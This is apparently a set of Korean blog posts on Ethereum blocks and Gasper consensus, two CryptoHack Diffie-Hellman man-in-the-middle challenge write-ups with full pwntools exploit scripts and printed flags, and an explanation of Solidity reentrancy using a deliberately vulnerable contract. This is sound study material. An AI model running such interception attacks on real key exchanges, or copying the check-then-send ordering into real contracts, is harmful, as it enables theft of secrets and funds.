블록은 이전블록의 해시(prevHash라고 부르도록 하겠다.)와 트랜잭션의 묶음이라고 생각할 수 있다. 해시는 블록의 데이터를 통해 계산되기 때문에 체인의 형태로 구성될 수 있다. 만약, 블록이 생성된 이후에 블록의 데이터를 변경하게 되면, 해당 블록의 블록해시(block hash)가 바뀌고, 이는 이후 생성된 다른 블록들에 영향을 주어 모든 검증자들이 알아차릴 수 있기 때문에, 다음 블록이 모두 무효화되어 임의 변조를 막을 수 있다.

네트워크의 모든 참가자들이 동기화된(Syncronized) 상태(State)를 유지하고, 모든 트랜잭션에 동의를 하기 쉽게 하기 위해 다수의 트랜잭션들을 한 개의 블록으로 묶어서 Commit, agree, Syncronize를 한 번에 처리한다.

출처:  https://takenobu-hs.github.io/downloads/ethereum_evm_illustrated.pdf

 

모든 블록들이 적절하게 검증을 받을 수 있도록, 네트워크는 참여자들에게 검증을 할 수 있는 충분한 시간을 부여한다. 트랜잭션은 초당 수십~수백개씩 발생할 수 있지만, 블록은 12초에 한 번 이더리움에서 생성되고 commite된다.

즉, 블록이 없다면, 모든 validator(트랜잭션(혹은 블록)을 검증하는 객체)는 매 초 모든 트랜잭션을 검증해야하며, 네트워크 상태에 따라 트랜잭션이 누락되는 경우에도 이를 검증하고, 블록을 네트워크에 추가해야하기 때문에, 블록을 사용할 때에 비해 Fork의 수가 수없이 많아지게 될 것이다.

(이정도면 블록이 있는 이유에 대해 충분히 알아본 것 같다…!)

블록의 작동 방식

transaction history를 보존하기 위해 블록은 상위 블록에 대한 참조를 가지고있어야 하며(prevHash에 대한 정보가 기록되어야 함), 블록 내에 있는 트랜잭션 또한 엄밀한 과정을 거쳐 블록에 정렬된다.

→ 추후에 더 알아볼 예정

PoS시스템에서, 네트워크에서 무작위로 선택된 검증자(PoS에서는, Proposer라고 부른다.)가 블록을 빌드하면, 이를 전체 네트워크에 Broadcast하게 되고, 합의의 과정 이후에 모든 노드는 이 블록을 블록체인의 끝에 추가하고 새로운 Proposer가 선출되어 다음 블록이 생성되는 과정을 통해 블록 추가해 대한 commitment와 consensus 프로세스를 명시하고 있다.

블록의 구조

slot 블록이 속한 슬롯

proposer_index Proposer의 ID
parent_root prevHash
state_root state root hash
body 블록 데이터를 담고있는 객체 (바로 아래에서 설명)

Body

randao_reveal 다음 block의 Proposer를 선택하기 위한 값(RANDAO seed)

eth1_data deposit contract에 대한 정보
graffiti 블록 태그를 위한 임의의 데이터
proposer_slashings slash당할 validator의 리스트
attester_slashings slash당할 attestor의 리스트
attestations 이 블록에 대한 attestation 리스트 (바로 아래에서 설명)
deposits list of new deposits to the deposit contract
voluntary_exits 네트워크를 떠난 validator 리스트
sync_aggregate light client에게 serve하는 validator subset
execution_payload execution client에서부터 넘어온 정보(트랜잭션 데이터 등) (아래에서 설명)

Attestations

→ list of attestations

aggregation_bits 어느 validator가 이 attesttation에 참여했는지에 대한 목록

data a container with multiple subfields (아래에서 설명)
signature 모든 attester들의 aggregate signature
  • data (in attestation)slot attestation이 실행된 slot
    index validator의 ID
    beacon_block_root 이 object를 포함하는 비콘블록의 루트해시
    source the last justified checkpoint
    target the latest epoch boundary block

Execution Payload header

parent_hash parent block의 hash

fee_recipient 트랜잭션 수수료를 받는 주소
state_root 이 블록으로 인한 state 변화를 적용한 global state의 root hash
receipts_root tx_receipt trie의 root hash
logs_bloom 이벤트로그를 포함하는 데이터 구조
prev_randao random validator selection에 사용된 value (RANDAO seed)
block_number 블록 번호
gas_limit 이 블록에 allow된 최대 gas
gas_used 이 블록에서 사용된 실제 가스
timestamp block time
extra_data arbitrary additional data as raw bytes
base_fee_per_gas base fee value
block_hash Hash of execution block
transactions_root 트랜잭션들의 root hash
withdrawal_root withdrawal 데이터의 root hash

Execution payload

parent_hash parent block의 hash

fee_recipient 트랜잭션 수수료를 받는 주소
state_root 이 블록으로 인한 state 변화를 적용한 global state의 root hash
receipts_root tx_receipt trie의 root hash
logs_bloom 이벤트로그를 포함하는 데이터 구조
prev_randao random validator selection에 사용된 value (RANDAO seed)
block_number 블록 번호
gas_limit 이 블록에 allow된 최대 gas
gas_used 이 블록에서 사용된 실제 가스
timestamp block time
extra_data arbitrary additional data as raw bytes
base_fee_per_gas base fee value
block_hash Hash of execution block
transactions 실행될 트랜잭션들의 리스트
withdrawals withdrawal 객체의 리스트
  • withdrawalsaddress withdraw한 객체의 주소
    amount withdraw한 ETH총량
    index withdrawal index value
    validatorIndex validator index value
  • 스테이킹된 이더를 인출하는것과 관련된 데이터 필드

Blocktime

블록타임(Blocktime)은 블록을 나누는 시간 단위. 이더리움에서는 12초 단위로 시간이 쪼개지며, 이를 slot(슬롯)이라는 시간 단위로 사용한다. 각 slot에서, 랜덤한 프로세스를 거쳐(RANDAO) single validator가 선출되어 블록을 propose한다. 모든 validator가 온라인 상태이고 문제없이 작동한다고 가정했을 때의 blocktime이 12초가 된다. 그러나, 종종 validator가 오프라인상태라면, 해당 검증자의 슬롯은 비워질 수 있다.

Blocksize

블록은 블록 사이즈에 의해 나눠지기도 한다. (Blocktime에서는 한 블록이 몇 초에 한 번 생성되는지를 이야기했다면, 이 말은 한 블록의 사이즈가 얼마나 되는냐는 말이다.) 각 블록의 일반적인 크기는 1500만 gas이며, 네트워크 상태에 따라 증가, 감소가 가능하여 최대 3000만 gas까지 늘어날 수 있다.

Blocksize가 늘어나는 매커니즘

블록의 크기는 한번에 확 증가하는 것이 아닌, 점진적으로 증가/감소하는 방식을 가지고 있다. 그 증가/감소 비율을 최대 $\frac{1}{1024}$의 비율만큼 늘어날 수 있는 것인데, 예를 들어 현재 블록의 크기가 1500만 gas라면, 다음 블록의 최대 크기는 $15,000,000 + (15,000,000/1024==14,648)=15,014,648$ 만큼의 크기를 가질 수 있게 된다는 말이며, 이러한 블록 크기 증가가 여러번 반복되어 최대 30,000,000 gas 크기까지 도달할 수 있다는 말이다.

결과적으로, validator는 합의를 통해 블록의 gas limit을 변경할 수 있으며, 블록의 모든 트랜잭션의 gas 소비량이 블록의 gas limit보다 작을 수 있도록 이를 조절하여야 한다. 블록의 사이즈가 임의대로 커질 수 있다면, 성능이 떨어지는 Full node는 공간 및 속도 요구사항을 충족시키지 못하여 네트워크의 속도를 따라잡을 수 없을 것이다. 블록이 클수록 다음 슬롯에 맞춰 처리하는 데 필요한 컴퓨팅 성능을 더 많이 요구하기 떄문에, 이는 적절히 조절되어야 할 것이다.

반응형

요약)

  1. The merge 업데이트에서 PoW → PoS로 consensus protocol을 변경.
  2. 기존에 사용되던 Casper FFG와 LMD Ghost를 ETH2에 적절히 조합한 PoS consensus algorithm.

Fork-Choice-Rule: Nakamoto consensus (classic)

비트코인과 이더리움 1.0 PoW의 가장 근간이 되는 합의 프로토콜.

다른 말로 Longest Chain Rule이라고도 표현한다. 말그대로 Fork가 발생했을 때, 여러 Fork중, 더 긴 체인을 선택하는 (즉, 더 많은 hash power가 들어간 체인이 나열한 트랜잭션 순서를 valid하다고 인정하는) 프로토콜이다.

이렇게 인정된 체인을 Canonical Chain이라고 부른다.


Safety & Liveness

FLP impossibility: 결정론적(Safety)하고 비동기적인(Liveness)프로세스에서 합의에 이르는 것이 불가능하다는 것

  • Safety: Finality로 fork발생 없이 오직 하나의 블록체인만을 유지할 수 있도록 하는 것.
  • → consensus에 도달하지 못해, 무한 교착상태에 빠질 수 있음
  • Liveness: 단 하나의 consensus에 도달하지 못하더라도, 불완전한 합의를 우선 진행하여 지연없이 새로운 블록을 계속 생성할 수 있는 것.
  • → fork가 발생하여 이중지불문제를 야기할 수 있음

FLP inpossibility로 인해, 이 두 속성이 모두 충족되기 힘들기 때문에, 각 블록체인들은 이 두 속성의 비중을 조절하여 체인의 특성을 결정함.

 


Casper FFG

32block(1 epoch)마다 블록을 Finalize시키는 알고리즘

ETH1(Before The Merge)에서의 Casper FFG

Casper FFG는 이더리움이 PoW인 시절(ETH1)에도 존재하던 프로토콜이었는데, 원래는 그러한 Nakamoto Consensus에 의해 발생한 여러 Fork 중 Canonical Chain을 결정하기 위해 블록을 Finalize시켜 해당 블록을 checkpoint로 쓰기 위해 위해 사용되었다.

따라서, 이로 인해 51%공격 등의 공격이 발생한다고 해도, 체크포인트 이전의 블록은 수정하지 못하도록 하여 블록체인을 보호한다.

합의의 과정에서, 총 Staking Amount중, 자신의 예치금(deposit)이 차지하는 지분만큼 의결권을 행사할 수 있으며, 이 과정에서 전체 Validator의 $\frac{2}{3}$만큼 투표를 받으면, Supermajority Link로 인정받을 수 있으며, 이 Link와 연결된 checkpoint가 다음 checkpoint가 되는 구조이다.

ETH2 (After The Merge)에서의 Casper FFG

Slot, Epoch

The Merge이후, ethereum에서는 block의 개념보다, slot, epoch이라는 개념을 주로 사용하게 된다. 자세히 살펴보면, 1개의 블록(block)은 1개의 슬롯(slot)이라는, 12초의 단위시간으로 표현되며, 이러한 슬롯이 32개 모여 에폭(Epoch)이라는 384초(6.4분)의 단위시간으로 표현된다.

Casper FFG

Casper FFG는 매 32슬롯(1에폭)마다 여러 포크 중 하나의 포크를 선택하도록 하는데, 부모 체크포인트가 여러 자손 체크포인트 중 하나를 선택하도록 하는 것이 Casper FFG의 역할이다.


LMD GHOST

(Last Message Driven Greediest heaviest Observed SubTree)

네트워크 지연 등으로 인해 fork발생 시, fork를 선택하는 알고리즘

참조: Combining GHOST and Casper

Message = Attestation message

Fork가 발생했을 때, 어떤 블록을 기존 체인에 연결할지, Attestation Message를 통해 투표하는 프로토콜.

Combining GHOST and Casper

위 그림에서 사각형으로 표현된 것이 block(또는 slot), 원으로 표현된 것이 Message.

가장 많은 Last Attestation Message가 지지하고 있는 block이 인정되게 된다.

Last Attestation Message?

→ 그림에서 보이는 모든 원들을 말한다. 즉, 몇 번째 블록인지와 상관 없이, 모든, “가장 최근”의 Attestation Message.

이를 통해, 블록체인의 Safety를 어느정도 보장하게 된다.


Gasper

위에서 본 것과 같이, Casper FFG와 LMD Ghost는 모두 결국 Fork중, 어느 Fork를 인정할지를 선택하는 프로토콜이다. 그럼, 왜 이 둘을 구분하여 사용할까.

slot과 slot간의 관계 즉, slot 단위에서 발생하는 fork에 대하여 LMD Ghost에 의해 하나의 fork로 합의된다.

이렇게 만들어진 epoch은 Casper에 의해 체크포인트 블록을 연결(또는 확정)하는 단위로 사용된다. 즉, epoch과 epoch의 관계를 Casper를 통해 결정짓는다.

이러한 epoch과, slot의 개념이 있는 것은 알겠는데, 그래서 어떤 과정을 통해 검증(Validate)를 하는 것일까?

Committees

참조: DSRV Research

  1. 매 slot마다 하나의 Validator집단을 랜덤하게 만든다.
  2. 각 집단을 Committee(위원회)라 부른다.
  3. 각 위원회에서 랜덤하게 한 명의 리더를 선출하여 이 리더는 블록을 제안한다.
  4. 블록 제안자를 포함한 위원회의 모든 validator는 블록을 검증한다.
  5. 한 에폭은 32개의 슬롯으로 이루어져있기 때문에, 전체 validator 집단을 32개로 랜덤하게 쪼개 슬롯에 배정하여 모든 validator가 한 epoch에서 validating에 참여할 수 있도록 함
  6. 한 epoch이 끝나면, 다시 랜덤하게 commitee를 구성하여 위의 과정을 반복한다.

Validate (Block 검증)

LMD GHOST프로토콜에서, 한 명의 block proposer가 해당하는 committee에 블록을 제안하면, 해당 committee를 구성하는 validator들은 블록을 확인하고, 블록에 대한 Attestation Message를 broadcast한다. 이러한 Attestation Message를 통해 지지되는 Fork마다 LMD GHOST점수가 매겨지고, 다음 블록 생성자는 어떤 fork 위에 블록을 생성해야 하는지 결정하게 된다.

위에서 Finalize라는 개념이 등장했었는데, 이는 체크포인트를 확정짓는 과정에 속하게 된다. 여기서, 체크포인트는 각 epoch의 첫 번째 슬롯의 블록으로 설정하여 Finalize과정을 거치도록 한다. 이를 더 자세히 뜯어보자.

class AttestationData(Container):
    slot: Slot # attestation message 전파하는 slot number
    index: CommitteeIndex # validator가 속한 commitee number
    beacon_block_root: Root # fork결정에 대한 attestation message 즉, LMD GHOST
    source: Checkpoint # Casper FFG vote: last justified epoch's first block
    target: Checkpoint # Casper FFG vote: last epoch's first block

위의 코드는 Validator가 committee에 broadcast하는 Attestation message의 구조이다.

source와 target, 그리고 beacon_block_root가 중요한 내용인데, source는 가장 최근에 justificate된 즉, 현재 epoch이전에 인정된 epoch의 첫 번째 블록(체크포인트)를 의미한다. target은 이번 그 체크포인트의 다음 epoch의 체크포인트라고 생각되는 block을 가리킨다. 이를 통해, Casper FFG투표(Supermajority vote)를 진행할 수 있으며, BPFT(비잔틴 장군 문제)에 따라, $\frac{2}{3}$이상의 validator가 동의하면, epoch의 상태가 justified로 변한다. (여기서, justified는 finalized와 다른 개념으로, Finalized되기 이전의 상태를 말한다.)

그렇다면, Finalize는 어떤 과정을 거쳐 진행될 수 있을까?

  1. Epoch0과 Epoch1의 checkpoint간 연결이 justified되었다고 하자.
  2. Epoch2에서 블록을 검증하는 validator들이 Epoch1과 Epoch2의 Supermajority Link를 지지하는 투표를 한다.
  3. 이 투표 비율이 전체 validator 수의 $\frac{2}{3}$이 되면, Epoch1과 Epoch2의 체크포인트 사이에 Supermajority Link가 생성되고, 이 Link가 Justified된다.
  4. 이 과정을 통해, Epoch1은 Epoch0과 Epoch2 모두로부터 Supermajority Link가 생성되어 그 결과, Epoch1에 있는 체크포인트가 Finalize되어 더 이상 변경할 수 없게 된다.

이렇게 Casper FFG와 LMD GHOST가 합쳐져 Gasper가 만들어지게 된다.


추가적인 궁금증🤨

Fork가 발생하는 이유.

Q. 블록체인에서 Fork가 발생하는 이유를 두고, 51%공격, 그리고 네트워크 지연 등 이유로 Fork가 발생하는 것으로 알고 있는데, 한 Slot당 하나의 Committee가 구성되고, 한 Committee에서 한 Proposer가 block을 제안하는 구조에서, 대체 왜 Fork가 발생하는가?

A(Mentor Troy). 현재 이더리움 PoS에서 가장 흔히 fork (reorg)가 발생하는 이유는 네트워크 지연이라고 볼 수 있다. 예를들어, 1번 슬롯에서 A 밸리데이터가 정해진 시간 내에 N번에 해당하는 블록을 만들어서 전파해야하는데, 이 시간 내에 전달받지 못한 경우 이를 Missed로 처리하고 2번 슬롯의 밸리데이터가 만든 블록을 N번 블록으로 포함되게 된다. 그렇지만 일부 밸리데이터들은 A가 만든 블록을 수신했을 수도 있지만, vote를 받지 못했기 때문에 그 뒤로 이어나가지 않을 가능성이 크다. 이런 식으로 Reorg가 발생하곤 한다.

참고자료

https://arxiv.org/pdf/2003.03052

https://medium.com/curg/gasper-casper-ghost-5aa9c226265c

 

반응형

 

 

CryptoHack – Home

A free, fun platform to learn about cryptography through solving challenges and cracking insecure code. Can you reach the top of the leaderboard?

cryptohack.org

 

이번 문제도 그냥 MITM이다. 

Overview

Alice와 Bob이 어떠한 값들을 주고받는지 살펴보자.

 

우선, nc로 연결해보면,

Intercepted from Alice: {"supported": ["DH1536", "DH1024", "DH512", "DH256", "DH128", "DH64"]}

이렇게 나오고, Bob은

Intercepted from Bob: {'chosen': 'DH1536'}

이러한 값을 Alice에게 전달하는 것을 볼 수 있다.

즉, Alice는 Bob에게 선택지를 보내고, Bob은 그 중 secret 값으로 사용할 숫자의 길이를 보내는 것 같다.

Exploit - Theory

그렇다면, Alice가 보내는 선택지를 공격자의 임의로 변경해서 보내면 되지않을까?

{'supported': ['DH64']}

로 바꿔서 보내보았다. 그랬더니,

Intercepted from Bob: {'chosen': 'DH64'}

로 답이 왔다.

길이가 64밖에 되지 않는다면, DLP를 풀 수 있을 것만 같다.

64 길이의 DLP 문제를 푸는 것은, 간단하게 SageMath를 이용해서 해결할 수 있다고 한다.

그런데, 내가 SageMath는 초보라서, 지피티와 함께 풀었다.

Exploit - Do it

우선, 이 문제에서도 이전 문제에서 사용했던 AES decrypt 코드를 이용한다고 하였다.

from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
import hashlib

def is_pkcs7_padded(message):
    padding = message[-message[-1]:]
    return all(padding[i] == len(padding) for i in range(0, len(padding)))

def decrypt_flag(shared_secret: int, iv: str, ciphertext: str):
    # Derive AES key from shared secret
    sha1 = hashlib.sha1()
    sha1.update(str(shared_secret).encode('ascii'))
    key = sha1.digest()[:16]
    # Decrypt flag
    ciphertext = bytes.fromhex(ciphertext)
    iv = bytes.fromhex(iv)
    cipher = AES.new(key, AES.MODE_CBC, iv)
    plaintext = cipher.decrypt(ciphertext)

    if is_pkcs7_padded(plaintext):
        return unpad(plaintext, 16).decode('ascii')
    else:
        return plaintext.decode('ascii')
from pwn import *
import json

r = remote("socket.cryptohack.org", 13379)

def recv_json():
    ret = json.loads(r.recvuntil('}').decode())
    print(ret)
    return ret

def send_json(msg):
    to_send = json.dumps(msg).encode()
    r.sendline(to_send)

r.recvuntil('Intercepted from Alice: ')
Alice_1 = recv_json()
Alice_1 = {'supported': ['DH64']}

r.recvuntil('Send to Bob: ')
send_json(Alice_1)

r.recvuntil('Intercepted from Bob: ')
Bob_1 = recv_json()

r.recvuntil('Send to Alice: ')
send_json(Bob_1)

r.recvuntil('Intercepted from Alice: ')
Alice_2 = recv_json()
p = int(Alice_2['p'], 16)
g = int(Alice_2['g'], 16)
A = int(Alice_2['A'], 16)

r.recvuntil('Intercepted from Bob: ')
data = recv_json()
B = int(data['B'], 16)

이렇게 해서 Alice와 Bob의 p, g, A, B를 받아볼 수 있다.

하지만, 여기에서 사용된 p의 길이가 64밖에 되지 않기 때문에, 다른 취약점이 아닌, 계산을 통해 문제를 풀 수 있다.

이 아래 이와 같은 코드를 추가해주었다.

# sagemath에서 dlp를 계산하고 돌아옴
a = int(input())

잠시 멈추고, 위의 p, g, A, B를 이용해 a 값을 계산하여 이를 입력하는 과정이다.

$ sage
sage: g = Mod({g}, {p})
sage: A = {A}
sage: a = discrete_log(A, g)
sage: a

이렇게 하면 a값을 얻을 수 있다. (물론 '{}'로 씌워진 곳에는 문자가 아니라 숫자를 입력해야한다.)

이 다음 과정부터는 그냥 Diffie-Hellman 이용해서 계산하고, 보내주면 된다. 간단하다.

shared_secret = pow(B, a, p)

r.recvuntil('Intercepted from Alice: ')
data = recv_json()
iv = data['iv']
encrypted_flag = data['encrypted_flag']

print(decrypt_flag(shared_secret, iv, encrypted_flag))
#crypto{d0wn6r4d35_4r3_d4n63r0u5}

r.close()

 

끝~

반응형

 

 

CryptoHack – Home

A free, fun platform to learn about cryptography through solving challenges and cracking insecure code. Can you reach the top of the leaderboard?

cryptohack.org

Diffie-Hellman Key exchange

이 프로토콜은 DLP:Discrete Logarithm Problem을 바탕으로 만들어진 키 교환 프토로콜이다. 

$A = g^a mod\ p$ 

를 알고 있을 때, $(g, p, A)$를 모두 알고 있어도, $a$ 값은 알기 어렵다는 것을 기반으로 하고 있다.

 

좀 더 자세히 보면,

Alice와 Bob이 통신키(세션키)를 교환하고자 할 때 안전하게 교환하는 프로토콜이다.

1. Alice가 $a < p$인 secret 값 $a$ 를 정한다.

2. Alice -> Bob: $\{g, p, A=g^{a} mod\ p\}$ 를 전송한다.

3. Bob: $b < p$인 secret 값 $b$를 정한다.

4. Bob: $\{A^{b} mod\ p\}$ 를 계산한다. 이게 둘 사이의 shared secret이다. $A^b mod\ p = g^{ab} mod\ p$

5. Bob -> Alice: $\{B=g^{b} mod\ p\}$ 를 전송한다.

6. Alice: $B^a mod\ p$ 를 계산한다. ($B^{a} mod\ p = g^{ba} mod\ p$) 

이렇게 되면, Alice와 Bob은 안전하게 세션키를 교환할 수 있다.

Exploit - theori

그런데 여기서, 중간에 통신을 가로챌 수 있는 중간자가 있다면, 이 프로토콜을 깰 수 있다. :MITM: Man In The Middle attack

공격자 Carol을 가정하고, 위 프로토콜을 깨보자.

이 때, Carol은 본인만의 Malicious한 secret 값 $c$를 생성한다.

 

1. Alice가 $a < p$인 secret 값 $a$ 를 정한다.

2. Alice -> Bob: $\{g, p, A=g^a mod\ p\}$ 를 전송한다.

Carol이 위 데이터를 가로채서, $\{g, p, A=g^c mod\ p\}$ 를 Bob에게 전송한다.

3. Bob: $b < p$인 secret 값 $b$를 정한다.

4. Bob: $A^b mod\ p$ 를 계산한다. 이게 둘 사이의 shared secret이다. $A^b mod\ p = g^{cb} mod\ p$

5. Bob -> Alice: $\{B=g^b mod\ p\}$ 를 전송한다.

Carol이 위 데이터를 가로채서, $\{B=g^c mod\ p\}$를 Alice에게 전송한다.

6. Alice: $B^a mod\ p$ 를 계산한다. $(B^a mod\ p = g^{ca} mod\ p)$

 

이러한 과정을 거치면, Carol은 Alice와 Bob의 세션키를 모두 가지고있게 된다.

Alice의 통신키: $g^{ac} mod\ p$

Bob의 통신키: $g^{bc} mod\ p$

이를 통해, Carol은 Man In The Middle에서 둘 사이의 통신을 마음대로 쥐락펴락 할 수 있다.

 

 Exploit - do it

from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
import hashlib

def is_pkcs7_padded(message):
    padding = message[-message[-1]:]
    return all(padding[i] == len(padding) for i in range(0, len(padding)))


def decrypt_flag(shared_secret: int, iv: str, ciphertext: str):
    # Derive AES key from shared secret
    sha1 = hashlib.sha1()
    sha1.update(str(shared_secret).encode('ascii'))
    key = sha1.digest()[:16]
    # Decrypt flag
    ciphertext = bytes.fromhex(ciphertext)
    iv = bytes.fromhex(iv)
    cipher = AES.new(key, AES.MODE_CBC, iv)
    plaintext = cipher.decrypt(ciphertext)

    if is_pkcs7_padded(plaintext):
        return unpad(plaintext, 16).decode('ascii')
    else:
        return plaintext.decode('ascii')

# protocol
from pwn import *
import json
import os
from Crypto.Util.number import *

r = remote('socket.cryptohack.org', 13371)

r.recvuntil('Intercepted from Alice: ')
Alice = json.loads(r.recvline().decode())
p = int(Alice['p'], 16)
g = int(Alice['g'], 16)
A = int(Alice['A'], 16)

c = bytes_to_long(os.urandom(100))
payload = json.dumps({'p':hex(p),'g':hex(g),'A':hex(p)})
r.recvuntil('Send to Bob: ')
r.sendline(payload)

r.recvuntil('Intercepted from Bob: ')
Bob = json.loads(r.recvline().decode())
B = int(Bob['B'], 16)

r.recvuntil('Send to Alice: ')
C = pow(g, c, p)
payload = json.dumps({'B': hex(C)})
r.sendline(payload)

r.recvuntil('Intercepted from Alice: ')
data = json.loads(r.recvline().decode())
iv = data['iv']
encrypted_flag = data['encrypted_flag']

shared_secret = pow(A, c, p)

print(decrypt_flag(shared_secret, iv, encrypted_flag))
# crypto{n1c3_0n3_m4ll0ry!!!!!!!!}

r.close()
반응형

지금까지 몇개월정도 Web3 offensive 보안 공부를 하면서 취약한 컨트랙트를 보면 일단 call()함수가 사용되었나를 보고, 사용되었으면 reentrancy attack이 가능하겠다~ 정도를 생각해왔다.

그리고, call{value: }() 함수 사용으로 인한 reentrancy attack의 countermeasure로 사용되는 함수가 send(), transfer() 인 것으로 생각하고 있었다.

그런데 몇몇 자료들을 찾아다니다보니, 꼭 그런것도 아니겠구나 싶었다. 오히려 send(), trnasfer() 함수가 reentrancy attack을 유발할 수 있겠구나 싶었다.

이 내용을 한번 자세히 정리해보고자 한다.

 


지난번 포스팅에서 송금 관련 함수들 (send, transfer, call)에 대해 다룬 적이 있었다. 한번 들어가서 보고와도 좋을 것 같다.

 

[Web3 개발/보안] Solidity payable / transfer, call, send / 송금 관련 함수 다루기

오늘은 web3에서 Solidity를 사용하는 사람이라면 한 번쯤은 짚고넘어가야할 필요가 있는 payable 키워드를 들고와보았다. 처음 solidity를 공부할 때 부터 대체 저 키워드가 무엇인지부터 시작해서 tran

nullorm.tistory.com


Reentrancy attack (재진입 공격)

말 그대로 attacker가 victim contract의 송금 함수를 여러번 실행하도록 하는 공격이다. 예시를 한번 살펴보자.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Victim {
	mapping(address => uint256) public balance;

	function withdraw() external {
		require(balance[msg.sender] >= 1, "insufficient balance"); // ... 1
		(bool sent, ) = payable(msg.sender).call{value: 1 ether}(""); // ... 2
		balance[msg.sender] = balance[msg.sender] - 1; // ... 3
	}
}

이렇게 생긴 Victim 컨트랙트가 있다고 할 때, Attacker가 withdraw() 함수를 정상적으로 실행하면,

1. require()에서 잔액이 1 이더 이상 있는지 물어보고

2. 1 이더를 msg.sender(Attacker)에게 보내주고

3. msg.sender(attacker)의 잔액을 1만큼 감소시켜준다.

 

여기까지 봤을 때는 아무런 문제가 없어보인다. 하지만... Solidity에는 receive(), fallback() 메소드가 존재한다.

receive() method

Web3 생태계는 아무래도 돈을 송금하는 기능에 초점을 맞춘 기능이 많다보니 receive()와 같은 메소드가 생겨났다.   

receive() 는 컨트랙트의 함수를 호출하는 것이 아니라, 컨트랙트에 이더를 송금했을 때 실행되는 부분이라고 보면 된다.

예시를 살펴보자.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Victim {
	mapping(address => uint256) public balance;

	function withdraw() external {
		require(balance[msg.sender] >= 1, "insufficient balance"); // ... 1
		(bool sent, ) = payable(msg.sender).call{value: 1 ether}(""); // ... 2
		balance[msg.sender] -= 1; // ... 3
	}
	
	receive() external payable {
		balance[msg.sender] += msg.value;
	}
}

위의 컨트랙트를 살펴보면, receive() 메소드를 통해 msg.sender 주소의 balance 매핑을 증가시켜주는 것을 알 수 있다.

그렇다면, 이러한 receive() 메서드를 통해 어떻게 공격을 할 수 있다는 것일까?

좌측: victim, 우측: attacker

 

우측 컨트랙트에서 doWithdraw()를 실행시켜 좌측 컨트랙트의 withdraw()함수를 실행시키면...

1. require() 를 통해 msg.sender의 잔액을 체크한다

2. call()을 통해 1이더를 송금한다

3. msg.sender의 balance를 1만큼 감소시킨다. 

지금까지는 이런 줄 알았지만 사실은,

 

1. require() 를 통해 msg.sender의 잔액을 체크한다

2. call()을 통해 1이더를 송금한다

   2-1: 이더를 받은 우측 컨트랙트에서 receive()를 실행시킨다

   2-2: doSomething

3. msg.sender의 balance를 1만큼 감소시킨다. 

이런 순서로 진행되는 것이다.

 

그런데, 여기에서 중요한 취약점은, require()에서 잔액을 검사하고, call()을 한 뒤에, balance를 감소시킨다.

그런데, balance 매핑을 감소시키기 전에, receive()가 실행되어 다른 동작을 할 수 있다.

이를 조금 악용해볼까?

우측 컨트랙트의 "//doSomething" 부분만 수정하였다.

이렇게 되면, 어떤 과정으로 실행되는지 다시 보자.

 

1. require() 를 통해 msg.sender의 잔액을 체크한다

2. call()을 통해 1이더를 msg.sender에게 송금한다

   2-1: 이더를 받은 우측 컨트랙트에서 receive()를 실행시킨다

   2-2: 다시한번 좌측의 withdraw함수를 실행시킨다.

   2-3: 좌측에서 require()를 통해 balance 매핑을 체크하지만, 아직 balance가 마이너스 되지 않았다.

   2-4: 다시한번 call()을 통해 1이더를 msg.sender에게 송금한다.

        2-4-1: 이더를 받은 우측 컨트랙트에서 receive()를 실행시킨다

        2-4-2: 다시한번 좌측의 withdraw함수를 실행시킨다.

        2-4-3: 좌측에서 require()를 통해 balance 매핑을 체크하지만, 아직 balance가 마이너스 되지 않았다.

        2-4-4: 다시한번 call()을 통해 1이더를 msg.sender에게 송금한다.

              ...

              ...

              ...

3. msg.sender의 balance를 1만큼 감소시킨다. 

 

이런 순서로 진행되는 것이다.

결국, Victim 컨트랙트는 더이상 송금을 할 수 있는 이더가 없을 때 까지 attacker에게 송금을 하게 될 것이고, 가진 모든 이더를 빼앗기게 될 것이다.

 

이게 가능한 이유는?

call()함수가 transfer(), send() 함수와 다르게, gas의 최대 사용량이 한정되지 않고 로직에 따라 gas 사용량이 가변적이기 때문에, call() 함수가 상대적으로 재진입공격에 취약한 것이고 transfer, send 함수가 안전하다고 하는 것이다.


send(), transfer() 함수의 취약성

그런데, 사실 send(), transfer() 함수도 취약하다고 본다.

https://consensys.io/diligence/blog/2019/09/stop-using-soliditys-transfer-now/

이 자료를 보면, 특정 Opcode 실행 시 gas fee를 변경하면서부터, gas fee를 제한하는 것을 통한 countermeasure가 별로 의미있지 않게 된 다는 것이다. 즉, gas fee가 내려간다면 2300 gas만으로도 재진입공격이 가능해질 수 있고, gas fee가 올라가게 된다면, 정상 컨트랙트도 실행을 실패하게될 수 있다는 것이다.

따라서 이제는, send / transfer 함수를 통해 송금을 구현하는 것 보다는, call{value:, gas:}("") 의 형태로 구현하는 것이 더욱 바람직할 것이라고 한다.

 

반응형

web3 생태계에서 다른 컨트랙트의 함수를 호출하는 과정에서 우리는 어떨 때는 직접 호출을 하는 경우도 있고, 저수준 호출을 하는 경우도 있다. 

A라는 컨트랙트에 있는 "func1(uint _number)" 함수를 호출한다고 가정해보자.

그러면 우리는, 두 가지 호출 방식이 있을 것이다. 

 

1. A.func1(123) - 직접호출 방식

2. A.call{}(abi.encodeWithSignature("func1(uint)")) - 저수준 호출 방식

 

이 두 경우의 차이점, 그리고 호출 실패 시 어떻게 핸들링하는지를 알아보고자 한다.


1. 직접호출 방식

직접 호출 방식은 가장 기본적인 방법으로, 호출하려는 함수의 이름과 인수를 사용하여 함수를 호출한다. 이 방식은 Solidity 컴파일러에 의해 함수의 존재와 시그니처가 검증되므로 타입 안정성을 제공한다. 

호출 방법은 위에서도 썼듯,

A.func1(123);

이다. 

이 방식의 장점이라고 한다면 가독성 및 안정성이라고 할 수 있을 것이다. 컴파일타임에 함수의 존재를 확인하고, 인자타입이 맞지 않을 경우 컴파일 에러를 발생시킨다. 

또한, 리턴 값을 받는 것도 굉장히 직관적이라고 할 수 있다. 

만약 "func1"함수가 uint형을 return 한다면

uint res = A.func1(123);

으로 리턴을 받을 수 있다.

함수 호출 실패 시

함수가 존재하지 않거나, 인자가 잘못되거나 했을 경우, 컴파일 시점에 에러를 발생시키지만, 컴파일 시점에 문제가 없는 modifier, revert, require 등으로 인해 함수 호출이 실패했을 경우, 전체 트랜잭션이 실패하고 롤백되게 된다.

2. 저수준 호출

저수준의 'call'함수를 사용하게 되면 더욱 유연하지만 복잡하고 에러가 발생하기 쉬운 방식의 호출이 된다.

